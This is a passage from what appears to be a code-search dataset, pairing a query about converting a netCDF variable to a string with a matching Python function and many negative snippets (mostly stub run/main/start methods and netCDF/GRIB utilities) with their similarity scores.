_start(self):","def start(self) -> None:\n ...","def start(self) -> None:\n ...","def main():\n # Read input from file, returns all objects\n objects = read_input()\n for obj in objects:\n try:\n # Generate the objects answer, yields new object\n obj = generate_answer(obj)\n except Exception:\n # If an error might occur that is not covered, catch it here! Continue where left off\n print('ERROR: An unrecoverable error occured during the processing of ' + obj.get(\n 'operation') + '. Continuing...')\n obj['answer'] = 'ERROR'\n\n print(obj) # TODO: Remove before production\n # Generate an output file\n print_output(objects)","def run(self):\n \n pass","def start():","def start():","def start():","def start():","def main(self, **kwargs) -> None:\n ...","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def run(self):\n raise NotImplementedError","def main() -> None:","def main() -> None:","def main() -> None:","def main() -> None:","def main():\n\n # 1.0 DATA PREP\n\n # 1.1 Retrieve SWAPI representation of the Millenium Falcon (base)\n url = f\"{ENDPOINT}/starships\"\n params = {'search': 'falcon'}\n swapi_m_falcon = get_swapi_resource(url, params)[\"results\"][0]\n\n print(f\"\\nSWAPI = {swapi_m_falcon}\\n\")\n\n # 1.2 Read in additional Millenium Falcon data\n filepath = 'wookiee_m_falcon.json'\n wookiee_m_falcon = read_json(filepath)\n\n print(f\"\\nLocal = {wookiee_m_falcon}\\n\")\n\n # 1.3 Combine starship data dicts\n # Note: local vals replace swapi vals on matching keys\n\n # UNCOMMENT\n swapi_m_falcon.update(wookiee_m_falcon) # in-place (no assignment)\n\n print(f\"\\nCombined = {swapi_m_falcon}\\n\")\n\n\n # 2.0 WORK WITH CLASS INSTANCES\n\n # 2.1 Create Starship instance\n m_falcon = Starship(swapi_m_falcon['name'], swapi_m_falcon['url'])\n\n # 2.2 Bulk assign dictionary values to instance variables\n # assign_values() acts as a filter\n # Downside: overwrites init values\n\n #UNCOMMENT\n m_falcon.assign_values(swapi_m_falcon)\n\n print(f\"\\nm_falcon.armament = {m_falcon.armament}\\n\")\n\n # 3.0 ASSIGN CREW TO STARSHIP\n url = f\"{ENDPOINT}/people\"\n\n # 3.1 Get SWAPI Han Solo (Corellian smuggler, pilot)\n params = {'search': 'solo'}\n swapi_solo = get_swapi_resource(url, params)['results'][0]\n\n print(f\"\\nswapi_solo = {swapi_solo}\\n\")\n\n # Add instance variable values the conventional way)\n solo = Person(swapi_solo[\"name\"], swapi_solo['url']) # instantiate Person\n\n # UNCOMMENT\n solo.gender = swapi_solo['gender']\n solo.birth_year = swapi_solo[\"birth_year\"]\n solo.get_homeworld(swapi_solo[\"homeworld\"]) # fetch homeworld dict\n\n\n # 3.2 Get SWAPI Chewbacca (Wookiee, co-pilot)\n params = {'search': 'chewbacca'}\n swapi_chewie = get_swapi_resource(url, params)[\"results\"][0]\n\n print(f\"\\nswapi_chewie = {swapi_chewie}\\n\")\n\n chewie = Person(swapi_chewie[\"name\"], swapi_solo[\"url\"]) # instantiate Person\n\n # UNCOMMENT\n chewie.assign_values(swapi_chewie) # bulk assign\n chewie.get_homeworld(swapi_chewie['homeworld']) # fetch homeworld dicts\n\n # 3.3 Assign crew\n crew = {\"pilot\": solo, \"co-pilot\": chewie} # key = role (pilot), value = name\n\n # UNCOMMENT\n m_falcon.assign_crew(crew)\n\n\n # 4.0 WRITE TO FILE\n filepath = 'si506_m_falcon.json'\n\n # UNCOMMENT (fail)\n write_json(filepath, m_falcon) # raises TypeError exception\n\n # Serialize composite class instances (a complex object)\n # Implement ExtendEncoder(); reference in json.dump()\n\n # UNCOMMENT (success)\n write_complex_json(filepath, m_falcon)","def start(self):\n pass","def start(self):\n pass","def start(self):\n pass","def start(self):\n pass","def start(self):\n pass","def start(self):\n pass","def start(self):\n pass"],"string":"[\n \"def run(self, objects: typing.Any) -> None:\\n pass\",\n \"def make_objects(self):\\n pass\",\n \"def main(self) -> None:\\n pass\",\n \"def main(self):\\r\\n pass\",\n \"def _initialise_run(self) -> None:\",\n \"def main(self):\\n\\n self._setup_task_manager()\\n self._setup_source_and_destination()\\n self.task_manager.blocking_start(waiting_func=self.waiting_func)\\n self._cleanup()\",\n \"def main(cls):\\n raise NotImplementedError\",\n \"def start_processing(self):\",\n \"def main():\\n challenge = Challenge()\\n # Get the number of saved files on last execution\\n last_saved = challenge.get_last_execution()\\n # Get the total of products to save\\n total_objects = len(challenge.get_products(\\\"product_groups.json\\\"))\\n\\n # While there are products to be saved\\n while last_saved < total_objects:\\n create_products()\\n # Updates last_saved number\\n last_saved = challenge.get_last_execution()\\n\\n logging.info(\\\"[INFO] Execution done with no errors!\\\")\\n # Sends to runner a signal different from the crash signal\\n # Indicates terminated execution\\n os._exit(1)\",\n \"def main(self):\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def run(self):\\n pass\",\n \"def main():\\n pass\",\n \"def main():\\n\\t\\t# KISS mockup of class operation\\n\\t\\tself.log_in()\\n\\t\\tself.get_token()\\t\\t# Access token for Facebook API\\n\\t\\tself.get_post()\\n\\t\\tself.get_comments()\\n\\t\\tself.get_hashtags()\\t\\t# Filter comments that contain Hashtag\\n\\t\\tself.comment_in_json()\\t# JSON file where the comments we have replied to are stored\\n\\t\\tself.author_following()\\n\\t\\tself.post_reply()\\t\\t\\n\\t\\tself.post_video()\",\n \"def __init__(self):\\n\\t\\tappionScript.AppionScript.__init__(self)\\n\\t\\tself.rundata = {}\\n\\t\\t### extra appionLoop functions:\\n\\t\\tself._addDefaultParams()\\n\\t\\tself.setFunctionResultKeys()\\n\\t\\tself._setRunAndParameters()\\n\\t\\t#self.specialCreateOutputDirs()\\n\\t\\tself._initializeDoneDict()\\n\\t\\tself.result_dirs={}\",\n \"def run(self):\\r\\n pass\",\n \"def run(self):\\r\\n self._initialize()\\r\\n\\r\\n # FIXME: do better exception handling here: what if both will raise exception?\\r\\n try:\\r\\n self._run()\\r\\n finally:\\r\\n self._finalize()\",\n \"def start(self) -> None:\",\n \"def start(self) -> None:\",\n \"def main():\\n # get command line args\\n args = create_parser()\\n\\n # report args\\n report_args(args)\\n\\n # check and create instance of process, if possible\\n eM = create_process(args)\\n\\n # write data\\n write_data(args.directory, args.file, args.process, args.length, eM)\\n\\n # write machine to pickle\\n write_em_pickle(args.file, eM)\",\n \"def run(self):\\n\\t\\t\\n\\t\\tpass\",\n \"def main():\\n produce()\",\n \"def main():\\n Main()\",\n \"def run(self) -> None:\\n\\n num_trials = 3\\n num_successes = 0\\n\\n # Initialize the scene.\\n self.init_scene()\\n for i in range(num_trials):\\n status = self.lift_container()\\n if status != TaskStatus.success:\\n continue\\n status = self.lift_target_object()\\n if status != TaskStatus.success:\\n continue\\n status = self.try_put_in_container()\\n print(f\\\"Tried to put object in container: {status}\\\")\\n if status == TaskStatus.success:\\n num_successes += 1\\n accuracy = float(num_successes) / num_trials\\n print(f\\\"Accuracy: {accuracy}\\\")\",\n \"def run():\\n main()\",\n \"def _start(self):\\n pass\",\n \"def start (self):\\n pass\",\n \"def start (self):\\n pass\",\n \"def __init__(self):\\n # Define class API\\n self.api = API2()\\n # Initialize a list of SAVED_OBJECTS (used in get_ancestors)\\n self.SAVED_OBJECTS = []\\n # Initialize the total number of objects\\n self.total = 0\\n # Load saved objects from file to continue the last execution\\n self.load_saved_objects()\",\n \"def _run(self):\\n raise NotImplementedError\",\n \"def _run(self):\\n raise NotImplementedError\",\n \"def init_run(self):\\n raise NotImplementedError\",\n \"def Run():\\r\\n pass\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main() -> None:\\n worker = Worker()\\n worker.do_work()\",\n \"def create(self):\\n return self.start()\",\n \"def _start(self):\",\n \"def start(self) -> None:\\n ...\",\n \"def start(self) -> None:\\n ...\",\n \"def main():\\n # Read input from file, returns all objects\\n objects = read_input()\\n for obj in objects:\\n try:\\n # Generate the objects answer, yields new object\\n obj = generate_answer(obj)\\n except Exception:\\n # If an error might occur that is not covered, catch it here! Continue where left off\\n print('ERROR: An unrecoverable error occured during the processing of ' + obj.get(\\n 'operation') + '. Continuing...')\\n obj['answer'] = 'ERROR'\\n\\n print(obj) # TODO: Remove before production\\n # Generate an output file\\n print_output(objects)\",\n \"def run(self):\\n \\n pass\",\n \"def start():\",\n \"def start():\",\n \"def start():\",\n \"def start():\",\n \"def main(self, **kwargs) -> None:\\n ...\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def run(self):\\n raise NotImplementedError\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main():\\n\\n # 1.0 DATA PREP\\n\\n # 1.1 Retrieve SWAPI representation of the Millenium Falcon (base)\\n url = f\\\"{ENDPOINT}/starships\\\"\\n params = {'search': 'falcon'}\\n swapi_m_falcon = get_swapi_resource(url, params)[\\\"results\\\"][0]\\n\\n print(f\\\"\\\\nSWAPI = {swapi_m_falcon}\\\\n\\\")\\n\\n # 1.2 Read in additional Millenium Falcon data\\n filepath = 'wookiee_m_falcon.json'\\n wookiee_m_falcon = read_json(filepath)\\n\\n print(f\\\"\\\\nLocal = {wookiee_m_falcon}\\\\n\\\")\\n\\n # 1.3 Combine starship data dicts\\n # Note: local vals replace swapi vals on matching keys\\n\\n # UNCOMMENT\\n swapi_m_falcon.update(wookiee_m_falcon) # in-place (no assignment)\\n\\n print(f\\\"\\\\nCombined = {swapi_m_falcon}\\\\n\\\")\\n\\n\\n # 2.0 WORK WITH CLASS INSTANCES\\n\\n # 2.1 Create Starship instance\\n m_falcon = Starship(swapi_m_falcon['name'], swapi_m_falcon['url'])\\n\\n # 2.2 Bulk assign dictionary values to instance variables\\n # assign_values() acts as a filter\\n # Downside: overwrites init values\\n\\n #UNCOMMENT\\n m_falcon.assign_values(swapi_m_falcon)\\n\\n print(f\\\"\\\\nm_falcon.armament = {m_falcon.armament}\\\\n\\\")\\n\\n # 3.0 ASSIGN CREW TO STARSHIP\\n url = f\\\"{ENDPOINT}/people\\\"\\n\\n # 3.1 Get SWAPI Han Solo (Corellian smuggler, pilot)\\n params = {'search': 'solo'}\\n swapi_solo = get_swapi_resource(url, params)['results'][0]\\n\\n print(f\\\"\\\\nswapi_solo = {swapi_solo}\\\\n\\\")\\n\\n # Add instance variable values the conventional way)\\n solo = Person(swapi_solo[\\\"name\\\"], swapi_solo['url']) # instantiate Person\\n\\n # UNCOMMENT\\n solo.gender = swapi_solo['gender']\\n solo.birth_year = swapi_solo[\\\"birth_year\\\"]\\n solo.get_homeworld(swapi_solo[\\\"homeworld\\\"]) # fetch homeworld dict\\n\\n\\n # 3.2 Get SWAPI Chewbacca (Wookiee, co-pilot)\\n params = {'search': 'chewbacca'}\\n swapi_chewie = get_swapi_resource(url, params)[\\\"results\\\"][0]\\n\\n print(f\\\"\\\\nswapi_chewie = {swapi_chewie}\\\\n\\\")\\n\\n chewie = Person(swapi_chewie[\\\"name\\\"], swapi_solo[\\\"url\\\"]) # instantiate Person\\n\\n # UNCOMMENT\\n chewie.assign_values(swapi_chewie) # bulk assign\\n chewie.get_homeworld(swapi_chewie['homeworld']) # fetch homeworld dicts\\n\\n # 3.3 Assign crew\\n crew = {\\\"pilot\\\": solo, \\\"co-pilot\\\": chewie} # key = role (pilot), value = name\\n\\n # UNCOMMENT\\n m_falcon.assign_crew(crew)\\n\\n\\n # 4.0 WRITE TO FILE\\n filepath = 'si506_m_falcon.json'\\n\\n # UNCOMMENT (fail)\\n write_json(filepath, m_falcon) # raises TypeError exception\\n\\n # Serialize composite class instances (a complex object)\\n # Implement ExtendEncoder(); reference in json.dump()\\n\\n # UNCOMMENT (success)\\n write_complex_json(filepath, m_falcon)\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\",\n \"def start(self):\\n pass\"\n]","isConversational":false},"negative_scores":{"kind":"list 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\"0.6855316\",\n \"0.6721951\",\n \"0.6673009\",\n \"0.6668939\",\n \"0.6596901\",\n \"0.6416985\",\n \"0.64162403\",\n \"0.63482755\",\n \"0.6343455\",\n \"0.62667793\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.6263516\",\n \"0.62242913\",\n \"0.6214617\",\n \"0.6209808\",\n \"0.6199845\",\n \"0.6189325\",\n \"0.6173987\",\n \"0.6173987\",\n \"0.61698735\",\n \"0.6147931\",\n \"0.6145507\",\n \"0.61413026\",\n \"0.61390764\",\n \"0.6126879\",\n \"0.61253005\",\n \"0.61101305\",\n \"0.61101305\",\n \"0.61094755\",\n \"0.6105518\",\n \"0.6105518\",\n \"0.61043173\",\n \"0.60766506\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.6068217\",\n \"0.60674447\",\n \"0.60424805\",\n \"0.6041584\",\n \"0.6041305\",\n \"0.6041305\",\n \"0.6036303\",\n \"0.6032718\",\n \"0.60323346\",\n \"0.60323346\",\n \"0.60323346\",\n \"0.60323346\",\n \"0.6031716\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60303915\",\n \"0.60292\",\n \"0.60292\",\n \"0.60292\",\n \"0.60292\",\n \"0.60280406\",\n \"0.602803\",\n \"0.602803\",\n \"0.602803\",\n \"0.602803\",\n \"0.602803\",\n \"0.602803\",\n \"0.602803\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":82199,"cells":{"query":{"kind":"string","value":"convert netcdf variable to string for rfm input"},"document":{"kind":"string","value":"def ncvar_to_str(data, variable_name, unit_factor=1., separator=','):\n return np.array2string(unit_factor*data[variable_name][:],\n separator=separator, precision=3,\n max_line_width=80)[1:-1] + '\\n'"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __str__(self):\n return self.identity(default=self.nc_get_variable(\"\"))","def to_netcdf(self, outfile):","def read_netcdf(self,filename):","def read_nc(input_file_path_str,var_name=None):\r\n\r\n if not exists(dirname(input_file_path_str)):\r\n print('*** ERROR, input file path does not exist: ' + dirname(input_file_path_str))\r\n exit()\r\n\r\n if var_name is None:\r\n nc_file = Dataset(input_file_path_str,'r')\r\n return nc_file\r\n else: \r\n nc_file = Dataset(input_file_path_str,'r')\r\n file = nc_file.variables[var_name][:,:,:]\r\n nc_file.close()\r\n return(file)","def fid_to_var(self, fid):\n index_only = fid[2:7].split(',')\n id = [int(i) for i in index_only]\n x, y, z = id\n value = self.groups[x][y]\n root = self.root_group[z]\n return f'{value}_{root}'","def load_nc(file,var):\n\tf = netCDF4.Dataset(file,'r+')\n\tdara = f.variables[var][:]\n\tf.close()\n\treturn data","def stringReco(obj):\n name = obj.get_name()\n name = obj._pid if (name is None) else name\n return (\"pdg: \" + name + \" E: \" + str(obj._E)\n + \" px: \" + str(obj._px) + \" py: \" + str(obj._py)\n + \" pz: \"+ str(obj._pz) + \" mass: \" + str(obj._m))","def primitive(self, arg: SeField[Any]) -> str:\n typ = typename(arg.type)\n var = arg.varname\n if self.suppress_coerce:\n return var\n else:\n return f\"coerce({typ}, {var})\"","def grib2nc(f_hrrr, output=None, external_logger=None):\n\tstart = time.time()\n\tif external_logger == None:\n\t\tfmt = \"%(levelname)s: %(msg)s\"\n\t\tlog = logging.getLogger(__name__)\n\t\tcoloredlogs.install(logger=log, fmt=fmt)\n\n\n\tmsg = \"GRIB2NC Converter Utility\"\n\tlog.info(msg)\n\tlog.info(\"=\" * len(msg))\n\n\t# criteria dictionary for extracting variables, CASE MATTERS\n\tcriteria = {'air_temp': {\n\t \t'wgrib2 keys':[\":TMP Temperature\",\"2 m\"]},\n\n\t\t\t\t'dew_point': {\n\t\t\t\t'wgrib2 keys':[\":DPT\",\"2 m\"]},\n\n\t\t\t\t'relative_humidity': {\n\t\t\t\t'wgrib2 keys':[\":RH Relative Humidity\",\"2 m\"]\n\t },\n\t 'wind_u': {\n\t\t\t\t'wgrib2 keys':[\":UGRD U-Component\",\"10 m\"]\n\n\t },\n\t 'wind_v': {\n\t\t\t\t'wgrib2 keys':[\":VGRD V-Component\",\"10 m\"]\n\n\t },\n\t 'precip_int': {\n\t\t\t\t'wgrib2 keys':[\":APCP Total Precipitation\"]\n\n\t },\n\t 'short_wave': {\n\t\t\t\t'wgrib2 keys':['Downward Short-Wave Radiation Flux', ':surface']\n\t },\n\t }\n\n\t# No output file name used, use the original plus a new extension\n\tif output == None:\n\t\toutput = \".\".join(os.path.basename(f_hrrr).split(\".\")[0:-1]) + \".nc\"\n\n\tgrib_vars = \"\"\n\tvar_count = 0\n\t# Cycle through all the variables and export the grib var names\n\tfor k,v in criteria.items():\n\t\tlog.info(\"Attempting to extract grib name for {} \".format(k))\n\n\t\tcmd = \"wgrib2 -v {} \".format(f_hrrr)\n\n\t\t# Add all the search filters\n\t\tfor kw in v[\"wgrib2 keys\"]:\n\t\t\tcmd += '| egrep \"({})\" '.format(kw)\n\t\t# Run the command\n\n\t\t#cmd += \" -netcdf {}\".format(output)\n\t\ts = check_output(cmd, shell=True).decode('utf-8')\n\n\t\t# Check if we only identify one variable based on line returns\n\t\treturn_count = len([True for c in s if c == '\\n'])\n\n\t\tif return_count != 1:\n\t\t\tlog.warning(\"Found multiple variable entries for keywords \"\n\t\t\t\t\t\t\"associated with {}\".format(k))\n\t\t\tvar_count += return_count\n\t\telse:\n\t\t\tvar_count += 1\n\t\t# Add the grib var name to our running string/list\n\t\tgrib_vars += s\n\n\tlog.info(\"Extracting {} variables and converting to netcdf...\".format(var_count))\n\tlog.info(\"Outputting to: {}\".format(output))\n\n\t# Using the var names we just collected run wgrib2 for netcdf conversion\n\tcmd = 'echo \"{}\" | wgrib2 -i {} -netcdf {}'.format(grib_vars, f_hrrr, output)\n\ts = check_output(cmd, shell=True)\n\n\tlog.info(\"Complete! Elapsed {:0.0f}s\".format(time.time()-start))","def get_filename_Nd_from_varName(varName, caseName, from_year, model_name, pressure_adjust, to_year):\n n_split = varName.split('_')\n if len(n_split)==3:\n from_diam = int(n_split[0][1:])\n to_diam = int(n_split[-1])\n else:\n from_diam=0\n to_diam = int(n_split[-1])\n filen = get_filename_Nd(caseName, from_year, model_name, pressure_adjust, to_year, from_diam, to_diam)\n return filen","def literal_to_string(self, literal):\n s = '!' if is_negated(literal) else ''\n return s + self.variables[literal >> 1]","def to_netcdf(pr_field, pr_units, times, time_bnds, time_units,\n lats, lat_bnds, lons, lon_bnds, filename):\n if len(pr_field) != len(times):\n raise ValueError(\"Mismatch in length of precipitation field and \"\n \"datetime collections. Should be equal.\")\n\n rootgrp = nc.Dataset(\"%s\" % filename, 'w', format='NETCDF4')\n\n # Dimensions\n rootgrp.createDimension('lat', 64)\n rootgrp.createDimension('lon', 128)\n rootgrp.createDimension('bnds', 2)\n rootgrp.createDimension('time', None)\n\n # Variables\n lat_out = rootgrp.createVariable('lat', 'f8', ('lat',))\n lat_bnds_out = rootgrp.createVariable('lat_bnds', 'f8', ('lat', 'bnds',))\n lon_out = rootgrp.createVariable('lon', 'f8', ('lon',))\n lon_bnds_out = rootgrp.createVariable('lon_bnds', 'f8', ('lon', 'bnds',))\n time_out = rootgrp.createVariable('time', 'f8', ('time',))\n time_bnds_out = rootgrp.createVariable('time_bnds', 'f8', ('time', 'bnds',))\n pr_out = rootgrp.createVariable('pr', 'f8', ('time', 'lat', 'lon'))\n\n # Attributes\n rootgrp.description = \"Precipitation forecasts emulating idealized \" \\\n \"precipitation output from the CanESM2 Earth System \" \\\n \"Model CanESM2.\"\n rootgrp.source = \"deep_climate_emulator python package.\"\n\n lat_out.units = \"degrees_north\"\n lat_out.axis = \"Y\"\n lat_out.long_name = \"latitude\"\n lat_out.standard_name = \"latitude\"\n lat_out.bounds = 'lat_bnds'\n\n lon_out.units = \"degrees_east\"\n lon_out.axis = \"X\"\n lon_out.long_name = \"longitude\"\n lon_out.standard_name = \"longitude\"\n lon_out.bounds = 'lon_bnds'\n\n time_out.units = time_units\n time_out.calendar = \"365_day\"\n time_out.axis = \"T\"\n time_out.long_name = \"time\"\n time_out.standard_name = \"time\"\n time_out.bounds = 'time_bnds'\n\n pr_out.units = pr_units\n pr_out.long_name = \"Precipitation\"\n pr_out.standard_name = \"precipitation_flux\"\n pr_out.comment = \"at surface; includes both liquid and solid phases from \" \\\n \"all types of clouds (both large-scale and convective)\"\n\n lat_out[:] = lats[:]\n lon_out[:] = lons[:]\n lat_bnds_out[:] = lat_bnds[:]\n lon_bnds_out[:] = lon_bnds[:]\n time_bnds_out[:] = time_bnds\n time_out[:] = times\n pr_out[:] = pr_field\n\n rootgrp.close()\n print('Exported data to %s' % filename)","def eff_param_string():\n return '[0] * (1 - [1] * (TMath::Erf(x[0] + [2]) - [1] / [4] * (x[0] - [3] * (pow(x[0], 2) - [3] / [5] * pow(x[0], 3)))))'","def c_variable(text):\n txt = text.replace(\"_\", \" \")\n return 'C {}'.format(txt)","def read_cable_var(fcable, var_name):\n\n print(\"carry on read_cable_var\")\n cable = nc.Dataset(fcable, 'r')\n Time = nc.num2date(cable.variables['time'][:],cable.variables['time'].units)\n if var_name in [\"TVeg\", \"ESoil\", \"Rainf\", \"GPP\"]:\n var = pd.DataFrame(cable.variables[var_name][:,0,0]*1800., columns=['cable'])\n else:\n var = pd.DataFrame(cable.variables[var_name][:,0,0], columns=['cable'])\n var['Date'] = Time\n var = var.set_index('Date')\n if var_name in [\"TVeg\", \"ESoil\", \"Rainf\", \"GPP\"]:\n var = var.resample(\"D\").agg('sum')\n else:\n print(\"is here\")\n var = var.resample(\"D\").agg('mean')\n var.index = var.index - pd.datetime(2011,12,31)\n var.index = var.index.days\n var = var.sort_values(by=['Date'])\n\n return var","def write_netcdf(file,xc,xc_bnd,yc,yc_bnd,times,hydrographs,fractions,loc,Flist,velocity,diffusion,NODATA,verbose):\n \n f = Dataset(file,'w', format='NETCDF4')\n\n # set dimensions\n time = f.createDimension('time', None)\n x = f.createDimension('x',xc.shape[1])\n y = f.createDimension('y',xc.shape[0])\n nv4 = f.createDimension('nv4',4)\n\n # initialize variables\n time = f.createVariable('time','f8',('time',))\n xcs = f.createVariable('xc','f8',('y','x',))\n ycs = f.createVariable('yc','f8',('y','x',))\n xc_bnds = f.createVariable('xc_bnds','f8',('y','x','nv4',))\n yc_bnds = f.createVariable('yc_bnds','f8',('y','x','nv4',))\n fraction = f.createVariable('fraction','f8',('y','x',),fill_value=NODATA)\n UHS = f.createVariable('unit_hydrograph','f8',('time','y','x',),fill_value=NODATA)\n\n # write attributes for netcdf\n f.description = 'Aggregated UH_S and Fraction Vars for full RASM domain'\n f.history = 'Created: {}\\n'.format(tm.ctime(tm.time()))\n f.history += ' '.join(sys.argv) + '\\n'\n f.source = sys.argv[0] # prints the name of script used\n f.velocity = velocity\n f.diffusion = diffusion\n f.outlet_lon = loc[0]\n f.outlet_lat = loc[1]\n f.includes = str(len(Flist))+' files'\n\n ycs.long_name = 'latitude of grid cell center'\n ycs.standard_name = 'latitude'\n ycs.units = 'degrees_north'\n ycs._CoordinateAxisType = 'Lat'\n ycs.bounds = 'yc_bnds'\n\n xcs.long_name = 'longitude of grid cell center'\n xcs.standard_name = 'longitude'\n xcs.units = 'degrees_east'\n xcs._CoordinateAxisType = 'Lon'\n xcs.bounds = 'xc_bnds'\n\n time.standard_name = 'time'\n time.units = 'seconds'\n time.description = 'Seconds since initial impulse'\n time.calendar = 'proleptic_gregorian'\n\n UHS.units = 'unitless'\n UHS.description = 'unit hydrograph for each grid cell with respect to basin outlet location'\n \n fraction.units = 'unitless'\n fraction.description = 'fraction of grid cell contributing to guage location'\n\n # write data to variables initialized above\n time[:]= times\n xcs[:,:] = xc\n ycs[:,:] = yc\n xc_bnds[:,:,:] = xc_bnd\n yc_bnds[:,:,:] = yc_bnd\n UHS[:,:,:] = hydrographs\n fraction[:,:]= fractions\n f.close()\n\n return","def variable_string(self, name):\n return \"$(\" + name + \")\"","def getSrcString(self):\n srcString = 'c -------------------------- Source Defination ----------------------------\\n'\n srcString += 'c 1 nanogram Cf-252 source = 1E-9 grams = 6.623E-11 cc \\n'\n srcString += 'sdef pos=-200 0 108.85 cel=70 par=SF rad=d1 \\n'\n srcString += 'si1 0 2.510E-04 \\n'\n srcString += 'sp1 -21 1 \\n'\n return srcString","def varStringMod(self, arg):\n\t\targ[0] = \"'\" + arg[0] + \"'\"\n\t\treturn arg","def nctoflt(ncfile, fltstem, varname, iz=0):\n\n ncobj = nh.nc3_open(ncfile,'r')\n a = ncobj.variables[varname]\n # Copy out into a numpy array and make sure we have only\n # 2 dimensions and type float32.\n b = numpy.float32(ncobj.variables[varname])\n if len(b.shape) < 2 or len(b.shape) > 3:\n raise ValueError(\"Only 2D and 3D data allowed (not \"+len(b.shape)+\"D)\")\n if len(b.shape) == 3:\n b = numpy.float32(b[iz,::,::].reshape(b.shape[1], b.shape[2]))\n fillValue = numpy.float32(ncobj.variables[varname]._FillValue)\n\n latvec = ncobj.variables['latitude']\n lonvec = ncobj.variables['longitude']\n lat1 = latvec[0]\n lat2 = latvec[len(latvec)-1]\n # Reverse if latitude runs South to North\n if lat1 < lat2:\n x = lat2\n lat2 = lat1\n lat1 = x\n b = b[::-1,]\n lon1 = lonvec[0]\n lon2 = lonvec[len(lonvec)-1]\n \n dlat = abs(lat1-lat2)/(len(latvec)-1)\n dlon = abs(lon2-lon1)/(len(lonvec)-1)\n xll = lon1-dlon*0.5\n yll = lat2-dlat*0.5\n\n\n fltname = fltstem+'.flt'\n if os.path.exists(fltname): os.unlink(fltname)\n b.tofile(fltname)\n f = file(fltstem+\".hdr\",\"w\")\n \n f.write(\"ncols %d\\n\" % b.shape[1])\n f.write(\"nrows %d\\n\" % b.shape[0])\n f.write(\"xllcorner %f\\n\" % xll)\n f.write(\"yllcorner %f\\n\" % yll)\n f.write(\"cellsize %f\\n\" % dlon)\n f.write(\"NODATA_value %f\\n\" % fillValue)\n if sys.byteorder == \"little\":\n f.write(\"byteorder LSBFIRST\\n\")\n else:\n f.write(\"byteorder LSBLAST\\n\")\n f.close()\n attr = nh.nc3_get_attributes(ncobj)\n nh.nc3_close(ncobj)\n return attr","def identity(self, default=\"\"):\n for prop in (\"standard_name\", \"grid_mapping_name\"):\n n = self.coordinate_conversion.get_parameter(prop, None)\n if n is not None:\n return f\"{prop}:{n}\"\n\n n = self.nc_get_variable(None)\n if n is not None:\n return f\"ncvar%{n}\"\n\n return default","def makeinputstring(variabel):\r\n if type(variabel) == int:\r\n return str(variabel)\r\n elif type(variabel) == float:\r\n return str(int(float(variabel)))\r\n else:\r\n return str(variabel)","def _rank_to_ctrl_string(rank, length):\n pass","def __str__(self):\r\n\r\n txt = super(GrfNodeCore, self).__str__()\r\n\r\n inID = self.inPort[0]\r\n\r\n outID = [P[0] for P in self.outPort]\r\n\r\n txt += '; input ID = {0}; output ID = {1}'.format(inID, outID) # generate formatted text\r\n return txt","def read_mmclx_save_nc(mmclx_filename, nc_filename):\n\n # Open .mmclx file\n mmclx = xr.open_dataset(mmclx_filename)\n\n # Create .nc file with necessary variables\n ncfile = mmclx[\n [\n \"Ze\",\n \"VEL\",\n \"LDR\",\n \"RHO\",\n \"DPS\",\n \"NyquistVelocity\",\n \"nave\",\n \"nfft\",\n \"prf\",\n \"zrg\",\n \"drg\",\n ]\n ]\n # Invert order of dimensions\n ncfile = ncfile.transpose()\n\n # Convert + change attributes of time dimension\n ncfile[\"time\"] = (\n \"time\",\n pd.to_datetime(ncfile.time.values, unit=\"s\"),\n {\"long_name\": \"Time in epoch reference\", \"standard_name\": \"time\"},\n )\n # Change attributes of range dimension\n ncfile[\"range\"] = ncfile.range.assign_attrs(\n {\n \"long_name\": \"Range from antenna to the 